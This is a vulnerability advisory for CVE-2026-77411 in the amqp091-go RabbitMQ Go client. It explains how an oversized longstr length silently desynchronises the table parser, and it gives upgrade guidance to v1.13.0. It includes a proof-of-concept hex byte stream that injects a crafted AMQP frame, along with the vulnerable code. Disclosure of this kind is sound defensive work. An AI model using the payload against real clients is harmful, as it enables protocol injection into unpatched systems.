criticalCVE-2026-77411Sep 17, 2026

CVE-2026-77411: amqp091-go Protocol Desynchronization via Oversized longstr

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A flaw in the RabbitMQ Go AMQP client lets a malicious broker send a single oversized string length that silently breaks the protocol parser, allowing attacker-controlled bytes to be interpreted as…

Packagegithub.com/rabbitmq/amqp091-go
Ecosystemgo
Affected< 1.13.0
Fixed in1.13.0

The problem

In amqp091-go before 1.13.0, readLongstr (read.go) performs a bare return when the declared longstr length exceeds 0x7FFFFFFF. Go's zero-value named returns make this "", nil, a silent success.

The function does not consume the declared bytes from the TCP buffer. readTable believes the read succeeded and advances to the next field using the now-corrupt cursor, handing the attacker full control of what the parser sees next.

Proof of concept

A working proof-of-concept for CVE-2026-77411 in github.com/rabbitmq/amqp091-go, with the exact payload below.

text
# Minimal AMQP 0-9-1 wire bytes demonstrating the trigger.
# Sent as a table field value by a malicious/compromised broker.
#
# Field structure inside a table:
#   [1 byte]  field name length  = 0x03
#   [3 bytes] field name         = "tag"
#   [1 byte]  field type tag     = 'S' (longstr)
#   [4 bytes] longstr length     = 0x80000000  <-- triggers silent return
#   [N bytes] attacker payload   = crafted AMQP frame bytes
#             (parsed as the NEXT frame because cursor is not advanced)
#
# Hex stream (name + type + oversize length + injected frame bytes):
03 74 61 67  53  80 00 00 00  \
  01 00 00 00 00 00 09 00 0A 00 01 00 00 00 00 CE
#             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#             Injected bytes; parser reads these as a new AMQP frame
#             (here: channel.open on channel 0, framing-end 0xCE)
#
# Any longstr length L where L > 0x7FFFFFFF triggers the bug.
# The bytes that follow L are the injected frame payload.

Before the fix, readLongstr contained:

``go if length > (^uint32(0) >> 1) { // length > 0x7FFFFFFF return // returns "", nil, no error, no read } ``

The stream cursor stays where it was, so all subsequent reads in readTable consume attacker-supplied bytes. This is CWE-754: the code checks for an exceptional value but takes the wrong action (silent success instead of error).

The patch (commit 143c1ace, PR #347) replaces the bare return with return "", ErrSyntax, which propagates an error, tears down the AMQP connection, and prevents readTable from continuing on a misaligned cursor.

The fix

Upgrade github.com/rabbitmq/amqp091-go to v1.13.0. The fix is in commit 143c1ace5fa7344cee135e5c7d22970f0de68282 (PR #347): readLongstr now returns ErrSyntax instead of a silent zero-value success when the declared length exceeds 0x7FFFFFFF. No configuration workaround exists for earlier versions.

Reported by MirahImage.

References: [1][2][3][4][5][6]

Related research